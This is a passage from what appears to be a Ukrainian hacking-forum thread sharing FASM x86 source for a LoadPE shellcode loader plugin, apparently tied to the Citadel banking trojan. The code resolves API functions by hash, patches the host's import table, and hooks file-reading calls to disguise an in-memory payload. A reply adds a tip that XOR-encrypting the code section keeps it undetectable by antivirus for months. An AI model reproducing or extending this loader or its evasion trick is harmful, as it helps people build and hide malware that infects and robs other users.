     pop     DWord [esi+hFileExec]
     mov     eax, [esi+_CreateFileW]
     mov     edx, [esi+pIAT_CreateFileW]
     mov     DWord [edx], eax
.end:
     popa
     ret
endp

proc GetFileSizeEx_Hook hFile, lpFileSize
     pusha
     call    .delta
.delta:
     pop     ebx
     sub     ebx, .delta-_PLUGIN_BEGIN_
     mov     eax, DWord [ebx+hFileExec]
     test    eax, eax
     jz      .readOriginal
     cmp     eax, [hFile]
     jnz     .readOriginal
     xor     edi, edi
     mov     eax, [ebx+_GetFileSizeEx]
     mov     edx, [ebx+pIAT_GetFileSizeEx]
     mov     DWord [edx], eax
     mov     edx, [lpFileSize]
     mov     eax, DWord [ebx+_3B1P_PLUGIN_HEADER.pLoadPEData]
     mov     eax, [eax+_LOADPE_DATA.dwOriginalFileSize]
     mov     DWord [edx], eax
     mov     DWord [edx+0x4], edi
     stdcall DWord [ebx+_SetLastError], 0
     inc     edi
     xchg    edi, eax
     jmp     short .end
.readOriginal:
     stdcall DWord [ebx+_GetFileSizeEx], [hFile], [lpFileSize]
.end:
     mov     DWord [esp+0x1C], eax
     popa
     ret
endp

proc searchDWordValue pMem, dwSize, dwValue
     pusha
     mov     esi, [pMem]
     mov     eax, [dwValue]
     mov     ecx, [dwSize]
.up:
     test    ecx, ecx
     jz      .error
     cmp     DWord [esi], eax
     jz      .found
     sub     ecx, 0x4
     add     esi, 0x4
     jmp     short .up
.found:
     clc
     jmp     short .end
.error:
     xor     esi, esi
     stc
.end:
     mov     DWord [esp+0x1C], esi
     popa
     ret
endp

pExecutableFileName dd 0x0
hFileExec dd 0x0
dwOldProtect dd 0x0
_ReadFile dd 0x0
_CreateFileW dd 0x0
_lstrcmpiW dd 0x0
_SetLastError dd 0x0
_GetFileSizeEx dd 0x0

;IAT addresses
pIAT dd 0x0
dwIATsize dd 0x0
pIAT_CreateFileW dd 0x0
pIAT_ReadFile dd 0x0
pIAT_GetFileSizeEx dd 0x0

start:
     xor     ebx, ebx
     mov     eax, DWord [fs:ebx+0x30]
     mov     eax, DWord [eax+0xC]
     mov     eax, DWord [eax+0xC]
     mov     eax, [eax+0x28]
     mov     DWord [esi+pExecutableFileName], eax
;     mov     eax, DWord [edi+_LOADPE_DATA.pPEFileHeader]
     stdcall DWord [edi+_LOADPE_DATA.pAltGetProcAddress], edi, DWord [edi+_LOADPE_DATA.hKernel32], DWord [edi+_LOADPE_DATA.pCompareHash], hashReadFile
     mov     DWord [esi+_ReadFile], eax
     stdcall DWord [edi+_LOADPE_DATA.pAltGetProcAddress], edi, DWord [edi+_LOADPE_DATA.hKernel32], DWord [edi+_LOADPE_DATA.pCompareHash], hashCreateFileW
     mov     DWord [esi+_CreateFileW], eax
     stdcall DWord [edi+_LOADPE_DATA.pAltGetProcAddress], edi, DWord [edi+_LOADPE_DATA.hKernel32], DWord [edi+_LOADPE_DATA.pCompareHash], hashlstrcmpiW
     mov     DWord [esi+_lstrcmpiW], eax
     stdcall DWord [edi+_LOADPE_DATA.pAltGetProcAddress], edi, DWord [edi+_LOADPE_DATA.hKernel32], DWord [edi+_LOADPE_DATA.pCompareHash], hashSetLastError
     mov     DWord [esi+_SetLastError], eax
     stdcall DWord [edi+_LOADPE_DATA.pAltGetProcAddress], edi, DWord [edi+_LOADPE_DATA.hKernel32], DWord [edi+_LOADPE_DATA.pCompareHash], hashGetFileSizeEx
     mov     DWord [esi+_GetFileSizeEx], eax
     stdcall DWord [edi+_LOADPE_DATA.pGetFileHeader], DWord [edi+_LOADPE_DATA.dwImageBase]
     add     eax, sizeof.IMAGE_FILE_HEADER + IMAGE_OPTIONAL_HEADER32.DataDirectory + IMAGE_DIRECTORY_ENTRY_IAT*0x8
     cmp     DWord [eax], 0x0
     jz      .end
     mov     edx, DWord [eax]
     add     edx, [edi+_LOADPE_DATA.dwImageBase]
     mov     DWord [esi+pIAT], edx
     push    DWord [eax+0x4]
     pop     DWord [esi+dwIATsize]
     lea     eax, [esi+dwOldProtect]
     stdcall DWord [edi+_LOADPE_DATA.pVirtualProtect], DWord [esi+pIAT], DWord [esi+dwIATsize], PAGE_EXECUTE_READWRITE, eax
     stdcall searchDWordValue, DWord [esi+pIAT], DWord [esi+dwIATsize], DWord [esi+_CreateFileW]
     jc      .end
     mov     DWord [esi+pIAT_CreateFileW], eax
     lea     edx, [esi+CreateFileW_Hook]
     mov     DWord [eax], edx
     stdcall searchDWordValue, DWord [esi+pIAT], DWord [esi+dwIATsize], DWord [esi+_ReadFile]
     jc      .end
     mov     DWord [esi+pIAT_ReadFile], eax
     lea     edx, [esi+ReadFile_Hook]
     mov     DWord [eax], edx
     stdcall searchDWordValue, DWord [esi+pIAT], DWord [esi+dwIATsize], DWord [esi+_GetFileSizeEx]
     jc      .end
     mov     DWord [esi+pIAT_GetFileSizeEx], eax
     lea     edx, [esi+GetFileSizeEx_Hook]
     mov     DWord [eax], edx


.end:
     jmp     DWord [esi+_3B1P_PLUGIN_HEADER.pReturn]

__3BIP_PLUGIN_TAIL__ 'CITADEL'

Далі буде...

Говорила баба діду: «Я поїду к Білодіду, Ізучу двомовну мову І вернусь обратно знову». А дід бабі: «Не *изди, К Білодіду нєт їзди, — Туди не ходять поїзди»
Подякували: Chemist-i, 0x9111A, Kane, sheva740, Pernat1y, leofun016

2

Re: [FASM x86] LoadPE шеллкод з системою розширень

Прихований текст
А раніше поксорив секцію з кодом - і фуд місяцями тримається))

Дякую за код!